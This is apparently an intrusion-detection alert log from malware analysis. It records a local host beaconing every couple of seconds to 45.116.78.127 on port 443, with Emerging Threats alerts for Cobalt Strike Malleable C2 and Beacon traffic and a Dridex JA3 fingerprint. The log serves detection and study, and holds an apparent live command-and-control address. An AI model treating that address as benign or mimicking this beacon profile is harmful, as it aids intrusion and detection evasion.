2025-01-02T10:34:09.748404+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49705	45.116.78.127	443	TCP
2025-01-02T10:34:10.434039+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49705	45.116.78.127	443	TCP
2025-01-02T10:34:10.434039+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49705	45.116.78.127	443	TCP
2025-01-02T10:34:10.436015+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49705	TCP
2025-01-02T10:34:11.637389+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49706	45.116.78.127	443	TCP
2025-01-02T10:34:12.343974+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49706	45.116.78.127	443	TCP
2025-01-02T10:34:12.343974+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49706	45.116.78.127	443	TCP
2025-01-02T10:34:12.344200+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49706	TCP
2025-01-02T10:34:13.557834+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49707	45.116.78.127	443	TCP
2025-01-02T10:34:14.238635+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49707	45.116.78.127	443	TCP
2025-01-02T10:34:14.238635+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49707	45.116.78.127	443	TCP
2025-01-02T10:34:14.239065+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49707	TCP
2025-01-02T10:34:15.540284+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49708	45.116.78.127	443	TCP
2025-01-02T10:34:16.239468+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49708	45.116.78.127	443	TCP
2025-01-02T10:34:16.239468+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49708	45.116.78.127	443	TCP
2025-01-02T10:34:16.239762+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49708	TCP
2025-01-02T10:34:17.647622+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49714	45.116.78.127	443	TCP
2025-01-02T10:34:18.316328+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49714	45.116.78.127	443	TCP
2025-01-02T10:34:18.316328+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49714	45.116.78.127	443	TCP
2025-01-02T10:34:18.324834+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49714	TCP
2025-01-02T10:34:19.572535+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49717	45.116.78.127	443	TCP
2025-01-02T10:34:20.255143+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49717	45.116.78.127	443	TCP
2025-01-02T10:34:20.255143+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49717	45.116.78.127	443	TCP
2025-01-02T10:34:20.256075+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49717	TCP
2025-01-02T10:34:21.519447+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49728	45.116.78.127	443	TCP
2025-01-02T10:34:22.192772+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49728	45.116.78.127	443	TCP
2025-01-02T10:34:22.192772+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49728	45.116.78.127	443	TCP
2025-01-02T10:34:22.193088+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49728	TCP
2025-01-02T10:34:23.397687+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49739	45.116.78.127	443	TCP
2025-01-02T10:34:24.107141+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49739	45.116.78.127	443	TCP
2025-01-02T10:34:24.107141+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49739	45.116.78.127	443	TCP
2025-01-02T10:34:24.112399+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49739	TCP
2025-01-02T10:34:25.327733+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49755	45.116.78.127	443	TCP
2025-01-02T10:34:26.034082+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49755	45.116.78.127	443	TCP
2025-01-02T10:34:26.034082+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49755	45.116.78.127	443	TCP
2025-01-02T10:34:26.034223+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49755	TCP
2025-01-02T10:34:27.236320+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49766	45.116.78.127	443	TCP
2025-01-02T10:34:27.937620+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49766	45.116.78.127	443	TCP
2025-01-02T10:34:27.937620+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49766	45.116.78.127	443	TCP
2025-01-02T10:34:27.938313+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49766	TCP
2025-01-02T10:34:29.151741+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49782	45.116.78.127	443	TCP
2025-01-02T10:34:29.816572+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49782	45.116.78.127	443	TCP
2025-01-02T10:34:29.816572+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49782	45.116.78.127	443	TCP
2025-01-02T10:34:29.816835+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49782	TCP
2025-01-02T10:34:31.044480+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49794	45.116.78.127	443	TCP
2025-01-02T10:34:31.706974+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49794	45.116.78.127	443	TCP
2025-01-02T10:34:31.706974+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49794	45.116.78.127	443	TCP
2025-01-02T10:34:31.707424+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49794	TCP
2025-01-02T10:34:32.900275+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49809	45.116.78.127	443	TCP
2025-01-02T10:34:33.555179+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49809	45.116.78.127	443	TCP
2025-01-02T10:34:33.555179+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49809	45.116.78.127	443	TCP
2025-01-02T10:34:33.555591+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49809	TCP
2025-01-02T10:34:34.809395+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49822	45.116.78.127	443	TCP
2025-01-02T10:34:35.465882+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49822	45.116.78.127	443	TCP
2025-01-02T10:34:35.465882+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49822	45.116.78.127	443	TCP
2025-01-02T10:34:35.466219+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49822	TCP
2025-01-02T10:34:36.675522+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49836	45.116.78.127	443	TCP
2025-01-02T10:34:37.338965+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49836	45.116.78.127	443	TCP
2025-01-02T10:34:37.338965+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49836	45.116.78.127	443	TCP
2025-01-02T10:34:37.345373+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49836	TCP
2025-01-02T10:34:38.585436+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49849	45.116.78.127	443	TCP
2025-01-02T10:34:39.287641+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49849	45.116.78.127	443	TCP
2025-01-02T10:34:39.287641+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49849	45.116.78.127	443	TCP
2025-01-02T10:34:39.289599+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49849	TCP
2025-01-02T10:34:40.544573+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49863	45.116.78.127	443	TCP
2025-01-02T10:34:41.211719+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49863	45.116.78.127	443	TCP
2025-01-02T10:34:41.211719+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49863	45.116.78.127	443	TCP
2025-01-02T10:34:41.212082+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49863	TCP
2025-01-02T10:34:42.434575+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49878	45.116.78.127	443	TCP
2025-01-02T10:34:43.153663+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49878	45.116.78.127	443	TCP
2025-01-02T10:34:43.153663+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49878	45.116.78.127	443	TCP
2025-01-02T10:34:43.153994+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49878	TCP
2025-01-02T10:34:44.430146+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49890	45.116.78.127	443	TCP
2025-01-02T10:34:45.134788+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49890	45.116.78.127	443	TCP
2025-01-02T10:34:45.134788+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49890	45.116.78.127	443	TCP
2025-01-02T10:34:45.135478+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49890	TCP
2025-01-02T10:34:46.361190+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49906	45.116.78.127	443	TCP
2025-01-02T10:34:47.129666+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49906	45.116.78.127	443	TCP
2025-01-02T10:34:47.129666+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49906	45.116.78.127	443	TCP
2025-01-02T10:34:47.135266+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49906	TCP
2025-01-02T10:34:48.315748+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49918	45.116.78.127	443	TCP
2025-01-02T10:34:48.979834+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49918	45.116.78.127	443	TCP
2025-01-02T10:34:48.979834+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49918	45.116.78.127	443	TCP
2025-01-02T10:34:48.988027+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49918	TCP
2025-01-02T10:34:50.274161+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49933	45.116.78.127	443	TCP
2025-01-02T10:34:50.944422+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49933	45.116.78.127	443	TCP
2025-01-02T10:34:50.944422+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49933	45.116.78.127	443	TCP
2025-01-02T10:34:50.944662+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49933	TCP
2025-01-02T10:34:52.701561+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49945	45.116.78.127	443	TCP
2025-01-02T10:34:53.351892+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49945	45.116.78.127	443	TCP
2025-01-02T10:34:53.351892+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49945	45.116.78.127	443	TCP
2025-01-02T10:34:53.352483+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49945	TCP
2025-01-02T10:34:54.643270+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49962	45.116.78.127	443	TCP
2025-01-02T10:34:55.316109+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49962	45.116.78.127	443	TCP
2025-01-02T10:34:55.316109+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49962	45.116.78.127	443	TCP
2025-01-02T10:34:55.317666+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49962	TCP
2025-01-02T10:34:56.589408+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49978	45.116.78.127	443	TCP
2025-01-02T10:34:57.256975+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49978	45.116.78.127	443	TCP
2025-01-02T10:34:57.256975+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49978	45.116.78.127	443	TCP
2025-01-02T10:34:57.258298+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49978	TCP
2025-01-02T10:34:58.519753+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49989	45.116.78.127	443	TCP
2025-01-02T10:34:59.189687+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	49989	45.116.78.127	443	TCP
2025-01-02T10:34:59.189687+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	49989	45.116.78.127	443	TCP
2025-01-02T10:34:59.190054+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	49989	TCP
2025-01-02T10:35:00.428509+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50003	45.116.78.127	443	TCP
2025-01-02T10:35:01.105692+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50003	45.116.78.127	443	TCP
2025-01-02T10:35:01.105692+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50003	45.116.78.127	443	TCP
2025-01-02T10:35:01.106608+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50003	TCP
2025-01-02T10:35:02.397660+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50004	45.116.78.127	443	TCP
2025-01-02T10:35:03.061089+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50004	45.116.78.127	443	TCP
2025-01-02T10:35:03.061089+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50004	45.116.78.127	443	TCP
2025-01-02T10:35:03.065114+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50004	TCP
2025-01-02T10:35:04.283634+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50005	45.116.78.127	443	TCP
2025-01-02T10:35:04.954043+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50005	45.116.78.127	443	TCP
2025-01-02T10:35:04.954043+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50005	45.116.78.127	443	TCP
2025-01-02T10:35:04.954891+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50005	TCP
2025-01-02T10:35:06.243736+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50006	45.116.78.127	443	TCP
2025-01-02T10:35:06.909697+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50006	45.116.78.127	443	TCP
2025-01-02T10:35:06.909697+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50006	45.116.78.127	443	TCP
2025-01-02T10:35:06.910071+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50006	TCP
2025-01-02T10:35:08.085295+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50007	45.116.78.127	443	TCP
2025-01-02T10:35:08.737331+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50007	45.116.78.127	443	TCP
2025-01-02T10:35:08.737331+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50007	45.116.78.127	443	TCP
2025-01-02T10:35:08.737598+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50007	TCP
2025-01-02T10:35:09.896562+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50008	45.116.78.127	443	TCP
2025-01-02T10:35:10.420539+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50008	45.116.78.127	443	TCP
2025-01-02T10:35:10.420539+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50008	45.116.78.127	443	TCP
2025-01-02T10:35:10.428495+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50008	TCP
2025-01-02T10:35:11.765317+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50009	45.116.78.127	443	TCP
2025-01-02T10:35:12.243598+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50009	45.116.78.127	443	TCP
2025-01-02T10:35:12.243598+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50009	45.116.78.127	443	TCP
2025-01-02T10:35:12.244025+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50009	TCP
2025-01-02T10:35:13.334887+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50010	45.116.78.127	443	TCP
2025-01-02T10:35:13.863025+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50010	45.116.78.127	443	TCP
2025-01-02T10:35:13.863025+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50010	45.116.78.127	443	TCP
2025-01-02T10:35:13.868644+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50010	TCP
2025-01-02T10:35:15.081504+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50011	45.116.78.127	443	TCP
2025-01-02T10:35:15.776542+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50011	45.116.78.127	443	TCP
2025-01-02T10:35:15.776542+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50011	45.116.78.127	443	TCP
2025-01-02T10:35:15.776816+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50011	TCP
2025-01-02T10:35:17.044023+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50012	45.116.78.127	443	TCP
2025-01-02T10:35:17.712476+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50012	45.116.78.127	443	TCP
2025-01-02T10:35:17.712476+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50012	45.116.78.127	443	TCP
2025-01-02T10:35:17.712836+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50012	TCP
2025-01-02T10:35:19.139603+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50013	45.116.78.127	443	TCP
2025-01-02T10:35:19.806754+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50013	45.116.78.127	443	TCP
2025-01-02T10:35:19.806754+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50013	45.116.78.127	443	TCP
2025-01-02T10:35:20.575136+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50013	TCP
2025-01-02T10:35:21.913780+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50014	45.116.78.127	443	TCP
2025-01-02T10:35:22.587459+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50014	45.116.78.127	443	TCP
2025-01-02T10:35:22.587459+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50014	45.116.78.127	443	TCP
2025-01-02T10:35:22.601054+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50014	TCP
2025-01-02T10:35:23.901675+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50015	45.116.78.127	443	TCP
2025-01-02T10:35:24.575099+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50015	45.116.78.127	443	TCP
2025-01-02T10:35:24.575099+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50015	45.116.78.127	443	TCP
2025-01-02T10:35:24.575376+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50015	TCP
2025-01-02T10:35:25.816225+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50016	45.116.78.127	443	TCP
2025-01-02T10:35:26.483418+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50016	45.116.78.127	443	TCP
2025-01-02T10:35:26.483418+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50016	45.116.78.127	443	TCP
2025-01-02T10:35:26.490360+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50016	TCP
2025-01-02T10:35:27.731440+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50017	45.116.78.127	443	TCP
2025-01-02T10:35:28.391452+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50017	45.116.78.127	443	TCP
2025-01-02T10:35:28.391452+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50017	45.116.78.127	443	TCP
2025-01-02T10:35:28.391743+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50017	TCP
2025-01-02T10:35:29.605768+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50018	45.116.78.127	443	TCP
2025-01-02T10:35:30.273853+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50018	45.116.78.127	443	TCP
2025-01-02T10:35:30.273853+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50018	45.116.78.127	443	TCP
2025-01-02T10:35:30.280709+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50018	TCP
2025-01-02T10:35:31.486285+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50019	45.116.78.127	443	TCP
2025-01-02T10:35:33.002512+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50019	45.116.78.127	443	TCP
2025-01-02T10:35:33.002512+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50019	45.116.78.127	443	TCP
2025-01-02T10:35:33.002755+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50019	TCP
2025-01-02T10:35:34.183638+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50020	45.116.78.127	443	TCP
2025-01-02T10:35:34.851482+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50020	45.116.78.127	443	TCP
2025-01-02T10:35:34.851482+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50020	45.116.78.127	443	TCP
2025-01-02T10:35:34.851723+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50020	TCP
2025-01-02T10:35:36.097843+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50021	45.116.78.127	443	TCP
2025-01-02T10:35:36.795278+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50021	45.116.78.127	443	TCP
2025-01-02T10:35:36.795278+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50021	45.116.78.127	443	TCP
2025-01-02T10:35:36.800172+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50021	TCP
2025-01-02T10:35:38.162854+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50022	45.116.78.127	443	TCP
2025-01-02T10:35:38.814912+0100	2033658	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2	1	192.168.2.5	50022	45.116.78.127	443	TCP
2025-01-02T10:35:38.814912+0100	2033928	ET MALWARE Cobalt Strike Beacon Activity (GET)	1	192.168.2.5	50022	45.116.78.127	443	TCP
2025-01-02T10:35:38.815252+0100	2033009	ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	1	45.116.78.127	443	192.168.2.5	50022	TCP
2025-01-02T10:35:39.937789+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	50023	45.116.78.127	443	TCP
